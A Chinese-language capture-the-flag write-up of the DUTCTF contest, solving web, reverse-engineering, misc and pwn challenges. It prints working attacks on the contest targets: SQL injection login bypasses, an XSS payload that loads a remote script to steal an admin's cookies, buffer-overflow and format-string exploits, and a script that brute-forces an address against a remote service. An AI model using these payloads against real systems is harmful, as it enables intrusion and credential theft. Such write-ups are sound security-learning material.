题目不算难,web题基本上都是秒了的,misc题目涉及了一点硬件知识,挺新颖的。pwn题处理得不好,老出问题,后来了解到是他们那边管理人员沟通得不够,加上第一次举办CTF,没有经验,导致一些细节处理得不是很好。

另:本文已发表到360播报。

web 10Pts

DJ昨天才搭的网站,今天就被撸了,发现了一个一句话木马,密码是cmd,你能发现什么有用信息吗? http://dl.dutsec.cn/web/web10/index.php

分别GET和POST提交cmd=phpinfo();,POST方法服务器回应了flag:
DUTCTF{caidao_is_very_niubi}

Reverse 10Pts

一个简单的逆向程序,秒秒钟搞定
dl.dutsec.cn/reverse/reverse10/reverse10.exe

re10

直接上IDA,在sub_401000函数里能找到十六进制的flag字符串,抠出来unhex即可。
DUTCTF{We1c0met0DUTCTF}

Web 50Pts

kow才开始学php,写了个小网站,但是有点安全问题,你能利用漏洞获取flag吗?
http://dl.dutsec.cn/web/05c035b1d7e82a97/index.php

简单注入,直接用户名处万能密码' or 1=1)#得到flag
DUTCTF{Is_PHP_not_safe?}

硬起来 50Pts

FLAG已经给出了(注:答案以十六进制表示)
http://dl.dutsec.cn/misc/misc50/a6d7548b4f9c94f1.png

硬起来0
把提供的png检查了一遍,确定不是隐写题。根据提示,答案以十六进制表示,尝试把HELLO转为十六进制后提交,失败。后来想到数码管的十六进制表示方式,分别将每个数码管中的字形转化为相应的十六进制,这里还要分共阳极、共阴极。最后提交,得到flag

数码管布局
硬起来1

常见字形与其十六进制编码
硬起来2

题目中字形的编码
硬起来3

尝试后发现,题目中红色的为共阳极数码管,蓝色的为共阴极数码管,故最后flag为
DUTCTF{8979C738C0}

屌丝逆袭 50Pts

一个普通的逆向程序,分分钟搞定
dl.dutsec.cn/reverse/reverse50/reverse50.exe

IDA动态跟了一下,即可分析出算法

scanf断下来后,输入11111111111111111111后F8单步
re50-1

跟下去后发现我们输入的数据变成了12345123451234512345
re50-2

再跟下去发现是和一个字符串进行对比
re50-3

此处输入图片的描述

于是算法出来了,下面直接贴exp:

1
2
3
4
5
6
7
8
9
10
str='DVVFXK{Ig45tI(oNs|Hbjdlf}'
key=''
i=0
for x in str:
key = key + chr(ord(x)-i)
if(i==5):
i=0
else:
i=i+1
print key

DUTCTF{He11oI'mKowHahaha}

PHP大法 100Pts

DJ觉得kow写的网站太渣,他也来写了一个,但是说好的源码呢?(注意备份文件哦)
http://dl.dutsec.cn/web/c66ba13ab15ac925/index.php

提示备份文件,尝试http://dl.dutsec.cn/web/c66ba13ab15ac925/index.php.bak,得到页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxx </p>";
}
?>


<br><br>
Can you authenticate to this website?

很简单,二次编码,提交 id=%2568ackerDJ 即可
DUTCTF{PHP_is_the_best_program_language_in_the_world}

长者 100Pts

长者和他谈笑风生
http://dl.dutsec.cn/misc/misc100/misc100.jpg

分析了一下,隐写题。jpg后面有个png,winhex抠出来,发现是个二维码。解析这个二维码,为一个twitter链接,访问得到一个字符串,rot13之后得到flag。

misc100-1

misc100-2

DUTCTF{Too_young_too_naive}

Poi? 100Pts

kow一气之下又写了一个网站,但是他好像又疏忽了
http://dl.dutsec.cn/web/f73b6ed70786ef40/index.php

有注入,但是简单的万能密码绕不过。仔细看html页面源码,有提示<a href="index.php.bak">,访问,得到页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<html>
<head>
kow's secure site
</head>
<body>

<?php
$servername = "localhost";
$username = "php";
$password = "##############";
$database = "php";

// ´´½¨l½Ó
if($_POST[user] && $_POST[pass]) {
$conn = mysqli_connect($servername, $username, $password, $database);
if ($conn->connect_error) {
die("Connection failed: " . mysqli_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysqli_query($conn,$sql);
if (!$query) {
printf("Error: %s\n", mysqli_error($conn));
exit();
}
$row = mysqli_fetch_array($query);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key: ################################ </p>";
}
else {
echo("<p>Log in failure!</p>");

}
}

?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.php.bak">
</html>

知道验证逻辑就好办了,用union select来返回一个已知明文的md5,payload:
user=' union select '202cb962ac59075b964b07152d234b70'#&pass=123

DUTCTF{SQL_injection_is_fun_right?}

你懂的 300Pts

DJ写了一个你懂的网址收集系统,每天24小时盯着,你能从中获取flag吗?(hint:DJ的qq26490441曾经被盗过)
http://dl.dutsec.cn/web/xss/index.html

由题目描述猜测是xss题,根据提示,用26490441@qq.com和随意密码即可登陆,登陆后为xss payload提交页面。但是xss点在哪?看了一下登陆页面,有如下代码:

1
2
3
4
5
6
7
8
9
<script>
function escape(input)
{
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
document.write(escape(unescape(location.hash.substr(1))))
</script>

典型的js parser,通根据给出的信息,浏览器为Firefox,构造出payload:
http://dl.dutsec.cn/web/xss/index.html#aaaa<script/src="http://t.cn/RAHPTaL"//

等待管理员访问后记录到cookies,里面包含flag:
DUTCTF{easyxss}

PS:该题xss payload提交地址为windows+xampp环境。开始的时候没留意,没看到登陆页面那段js,另外又查到了xampp有xss,于是找了相同版本的xampp来本地测试,通过了,但是提交上去却打不到flag。通过这个xampp的xss应该是可以把xampp搞下来的,后来没测试,因为服务端那边的刷新脚本老是挂掉,提交过去的payload不能及时访问。

Py大法 300Pts

一个传说的逆向程序,搞定 由这个程序加密得到0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII= 明文即flag
http://dl.dutsec.cn/reverse/reverse300/reverse300.pyc

根据提示需要逆向pyc,google上翻了一下,找到 https://github.com/wibiti/uncompyle2

用这个工具反编译pyc,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from hashlib import md5
import base64
from time import time
from datetime import datetime
UC_KEY = '123456789'

def authcode(string, operation = 'DECODE', key = UC_KEY, expiry = 0):
ckey_length = 4
if key == '':
key = md5(UC_KEY.encode('utf-8')).hexdigest()
else:
key = md5(key.encode('utf-8')).hexdigest()
keya = md5(key[0:16].encode('utf-8')).hexdigest()
keyb = md5(key[16:32].encode('utf-8')).hexdigest()
if ckey_length == 0:
keyc = ''
elif operation == 'DECODE':
keyc = string[0:ckey_length]
elif operation == 'ENCODE':
keyc = md5(str(datetime.now().microsecond).encode('utf-8')).hexdigest()[-ckey_length:]
else:
return
cryptkey = keya + md5((keya + keyc).encode('utf-8')).hexdigest()
key_length = len(cryptkey)
if operation == 'DECODE':
string = base64.b64decode(string[ckey_length:])
elif operation == 'ENCODE':
if expiry == 0:
string = '0000000000' + md5((string + keyb).encode('utf-8')).hexdigest()[0:16] + string
else:
string = '%10d' % (expiry + int(time())) + md5((string + keyb).encode('utf-8')).hexdigest()[0:16] + string
else:
return
string_length = len(string)
result = ''
box = range(256)
rndkey = [0] * 256
for i in range(256):
rndkey[i] = ord(cryptkey[i % key_length])

j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

a = j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])

if operation == 'DECODE':
if not result[0:10].isdigit() or int(result[0:10]) == 0 or int(result[0:10]) - int(time()) > 0:
if result[10:26] == md5(result[26:].encode('utf-8') + keyb).hexdigest()[0:16]:
return result[26:]
else:
return ''
else:
return ''
else:
return keyc + base64.b64encode(result)


if __name__ == '__main__':
if len(sys.argv) < 3:
exit(1)
ex = 20
for i in range(1, len(sys.argv), 2):
a = sys.argv[i]
b = sys.argv[i + 1]
if a == '-t':
ex = int(b)
elif a == '-e':
encoded = authcode(b, 'ENCODE', expiry=ex)
print encoded
elif a == '-d':
decoded = authcode(b, 'DECODE', expiry=ex)
print decoded

UC_KEY加密算法,但是直接 python reverse300.py -d 0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII= 无回显,猜测加密时加了时效。

修改脚本中62和64行的 return ''return result[26:]即可
DUTCTF{2u0_chu_14i_d3_5hi_h3n74i}

告白 10Pts

我是一个害羞的程序员⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄ 我把表白写在了这个程序里。
http://dl.dutsec.cn/pwn/pwn10/pwn10.c
nc 210.30.100.91 3857

提供的程序为

1
2
3
4
5
6
7
8
9
10
11
12
# include "stdio.h"

int main(){
char b;
int a = 1;
scanf("%d",&b);
if (a == 4340 && b=='G')
printf("Go to seek the flag");
else
printf("Try again");
return 0;
}

简单的溢出,’G’的Ascii为47,4340的十六进制为10F4,拼接起来为10F447,即十进制1111111,nc连上去后发送1111111即可得到flag
Flag is : DUTCTF{I lov3 Dj}

水题 50Pts

原来pwn这么简单,不过这次你还能搞定么?
http://dl.dutsec.cn/pwn/pwn50/pwn50
nc 210.30.100.91 3858

提供的程序为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "stdio.h"
#include "stdlib.h"

void reada(char* s,int l){
int i;
for (i=0;i<l;i++){
s[i] = getchar();
}
}

void pwnme(){
char a[3];
reada(a,19);
printf("%s\n",a);
}

void getflag(){
printf("Go seek the flag!");
exit(0);
}

int main(){
pwnme();
return 0;
}

也是简单的栈溢出,本地ubuntu 14.04.4 32bit编译出binary

pwn50-1

pwn50-2

gdb看了一下栈结构,算了一下,刚好能覆盖到pwnme()的返回地址。IDA找出了getflag()的地址 0x08048505,用这个地址来覆盖pwnme()的返回地址,使其返回的时候跳去执行getflag()。本机测试成功,下面是本机测试的exp:

1
2
3
4
5
6
7
8
#!/usr/bin/python
from pwn import *
import random

r = process('./pwn50')
r.send('aaaaaaaaaaaaaaa'+p32(0x08048505))
result = r.recvuntil('!')
print result

但是线上环境就不行了,因为没有提供线上的binary,没办法得到线上环境getflag()的函数地址,自己刚接触pwn不久也不知道有什么其他方法。于是尝试了爆破getflag()地址,下面是爆破用的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
from pwn import *
import random
import time

for laddr in xrange(173,256):
#r = process('./pwn50')
r = remote('210.30.100.91','3858')
r.send('aaaaaaaaaaaaaaa'+p32(0x08048400+laddr)+'\n')
try:
result = r.recv()
print result
if result.find('DUT') > 0:
r.close()
break
else:
r.close()
print laddr
except:
r.close()
print laddr
time.sleep(2)

因为本机编译的binary里getflag()函数的地址是0x08048505,于是先尝试爆破0x080485**,最后没有成功,接着翻了一下其他比赛的writeup,发现有时候地址是0x080484**,于是再次尝试,最后成功爆破。

1
2
3
4
5
[*] Closed connection to 210.30.100.91 port 3858
212
[+] Opening connection to 210.30.100.91 on port 3858: Done
aaaaaaaaaaaaaaaՄ\x0\x15Ei\xb7\xb0i\xb3\xbf(j\xb3\xbfF\xbeg\xb7 \x85\x0
FLAG: DUTCTF{M3n9 ch0n9 Dj,1 2hi b40 y0u.}

谈笑风生 200Pts

“DUTSEC那个DJ 水平不知道比你们高到哪里去了,我和他谈笑风生” 快来和DJ谈笑风生
nc 210.30.100.91 3866
http://dl.dutsec.cn/pwn/pwn200/pwn200

IDA看了下,很明显的一个格式化字符串漏洞
pwn200-1

只有main()showflag()两个函数,main()在栈里开了块内存,将argv[1]复制过去再用printf()输出,而最后还诡异地调用了一下putchar()。那么思路很明显了,用got表挟持putchar()函数,使对其的调用跳去showflag()的地址。具体的做法是将putchar()的got表地址放在argv[1]的前4字节,而后面则用%n来覆盖这个地址指向的内存,实现挟持。

putchar()的got地址
pwn200-2

最终本地测试payload:

1
2
3
#!/usr/bin/python
#pwn200.py
print '\x24\xA0\x04\x08%34089c%7$hn'

./pwn200 $(python pwn200.py)

最后这题服务端那边部署有点问题nc连上去之后直接返回 usage ./xxx xxxx 然后断掉,没办法发送payload,然后命题人要求提交本地通过的payload人工审核,审核过了把flag发了过来
DUTCTF{DJ_IS_EVERYWHERE_666}